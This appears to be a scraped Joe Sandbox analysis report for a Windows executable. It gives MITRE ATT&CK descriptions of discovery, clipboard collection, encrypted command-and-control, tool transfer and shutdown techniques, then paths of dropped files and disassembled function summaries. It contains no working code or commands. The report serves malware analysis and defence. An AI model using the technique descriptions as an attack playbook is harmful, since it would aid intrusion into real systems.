Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ss[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ar[2].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ar[2].php

C:\Users\user\AppData\Local\Temp\is-29A1P.tmp\81B7FB00321A57D0632B50993D514D34E586E86564C13.tmp

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\erku (copy)

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\is-1S2IB.tmp

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\is-28V37.tmp

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\is-R68UJ.tmp

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\is-RT49M.tmp

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\ret (copy)

C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe (copy)

C:\Users\user\AppData\Local\Temp\nskDC2.tmp\inetc.dll

C:\Users\user\AppData\Local\Temp\nskDC2.tmp\s

C:\Users\user\AppData\Local\Temp\nskDC2.tmp\status.log

C:\Users\user\AppData\Local\Temp\nsrED96.tmp

C:\Windows\is-4F7CE.tmp

C:\Windows\unins000.dat

Windows Analysis Report
81B7FB00321A57D0632B50993D514D34E586E86564C13.exe

Function 0040323C Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Function 00405042 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Function 0040548B Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Function 00403A45 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 004036AF Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00404060 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Function 00402C72 Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 203
memoryCOMMON

Function 00401734 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Function 00403043 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 108
fileCOMMON

Function 00404F04 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 00402F18 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 109
fileCOMMON